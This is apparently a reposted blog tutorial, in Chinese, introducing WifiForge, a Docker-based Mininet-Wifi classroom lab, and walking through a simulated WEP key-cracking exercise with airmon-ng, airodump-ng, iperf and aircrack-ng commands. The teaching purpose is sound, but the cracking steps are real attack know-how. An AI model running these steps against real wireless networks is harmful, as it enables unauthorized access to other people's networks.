WifiForge:课堂无线网络渗透测试虚拟化利器

WifiForge是基于Mininet-Wifi构建的无线网络渗透测试教学工具,通过Docker容器提供预配置的虚拟化环境,支持WEP破解等多种攻击实验,无需物理硬件即可安全学习WiFi安全技术。

WifiForge – 课堂无线网络渗透测试工具

作者:William Oldert // BHIS实习生

BHIS曾面临一个问题:需要为学生提供一个安全的WiFi黑客学习环境。最初的解决方案使用互连的物理网络设备和计算机来生成所需信号,但多套设备的成本和运输成为难题。

我们发现Mininet程序可以创建交互式虚拟网络,并开始探索其在实验室和教学材料中的应用。一个项目随之启动,聘请实习生团队研究测试其极限,最终成果就是WifiForge。

什么是WifiForge?

WifiForge是基于开源项目Mininet-Wifi构建的程序(Mininet-Wifi是支持无线网络的Mininet分支)。它自动设置执行多种攻击所需的网络和工具,所有功能都封装在Docker容器中。WifiForge无需物理硬件,只需安装Docker并执行几条命令即可运行。

项目GitHub页面链接:点击此处

免责声明/注意事项

  • 强烈建议在Docker容器中运行WifiForge,但也可在基础机器上运行
  • 在基础机器上安装Mininet-Wifi可能导致依赖性问题
  • 建议在Ubuntu 14.04及以上版本或最新Kali系统上运行(Mininet建于2017年,当时Ubuntu 14.04是最前沿的)
  • WifiForge安装脚本可能干扰正常操作系统使用,建议使用全新安装、虚拟机或Docker容器

操作系统兼容性

WifiForge应可在任何使用Docker的Linux操作系统上运行。以下系统经过测试确认可用:

  • Kali Linux
  • Parrot OS
  • Ubuntu

设置指南

以下是在Docker容器中设置所有必需组件的指南。项目GitHub上提供裸机安装和Docker镜像安装指南,但最简单的最佳方案如下:

Docker(推荐)

注意:如果本地已安装Mininet-Wifi,Dockerfile将失败

从发布版安装:

拉取Docker镜像并启动新容器:

1
sudo docker run --privileged=true -it --env="DISPLAY" --env="QT_X11_NO_MITSHM=1" -v /tmp/.X11-unix:/tmp/.X11-unix:rw -v /sys/:/sys -v /lib/modules/:/lib/modules/ --name mininet-wifi --network=host --hostname mininet-wifi redblackbird/wififorge:v1.0.0 /bin/bash

在容器内启动控制器模拟AP:

1
service openvswitch-switch start

运行WifiForge.py:

1
sudo python3 Framework/WifiForge.py

实验室与特色工具

WifiForge提供预构建实验室,涵盖多种主题和工具,包括但不限于:

  • Eaphammer
  • WPS网络
  • Wifiphisher
  • WEP网络
  • 使用John破解Netntlm
  • Airgeddon Dos

今天,我们通过WEP密钥破解实验室展示该程序的功能。

实验室:WEP密钥破解

设置阶段

首先从WifiForge菜单选择"WEP Network",等待最多30秒网络初始化完成。

启动后使用以下命令在攻击者、host1和host2上打开xterm会话:

1
xterm a host1 host2

WEP密钥破解

在攻击机器上,使用以下命令将接口切换到监控模式:

1
airmon-ng start a-wlan0

成功执行后输出如下:

使用airodump-ng开始搜索附近网络:

1
airodump-ng a-wlan0mon

等待控制台出现流量显示:

记下BSSID和信道,然后用’Ctrl + c’终止进程。在下一个命令中使用这些信息:

1
airodump-ng –c <CHANNEL> -–bssid <BSSID> a-wlan0mon –w attack_capture

命令运行时,目标网络的连接主机信息将显示:

在host1上运行以下命令后,记下host1-wlan0关联的IP地址:

1
ifconfig

IP地址在下图红框标出:

通过收集常规用户流量破解WEP密钥。在host1上使用以下命令模拟流量:

1
iperf –s

该命令开始在端口5001监听流量:

切换到host2终端,运行以下命令:

1
iperf -c <HOST1 IP地址> -u -b 100M -t 60

该命令开始向host1发送流量,输出类似下图:

等待发送约25,000个数据包(查看airmon控制台的Frames列)。达到该数量后,用’Ctrl + c’终止攻击机器上的airmon-ng会话,运行以下命令:

1
aircrack-ng ./attack_capture-01.cap

该命令开始尝试破解WEP密钥,成功解密类似下图:

结束语

希望本实验室能向读者展示WifiForge的实用性和它能实现的功能。我们开发这个程序是为了能够为课堂快速创建环境,而无需处理设置或幕后工作。不需要折腾硬件也是一大优势。所有这些都封装在紧凑的Docker容器中,意味着可移植性和扩展性都不是问题。

当然,WifiForge如愿以偿地解决了BHIS的问题。

链接与进一步阅读

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计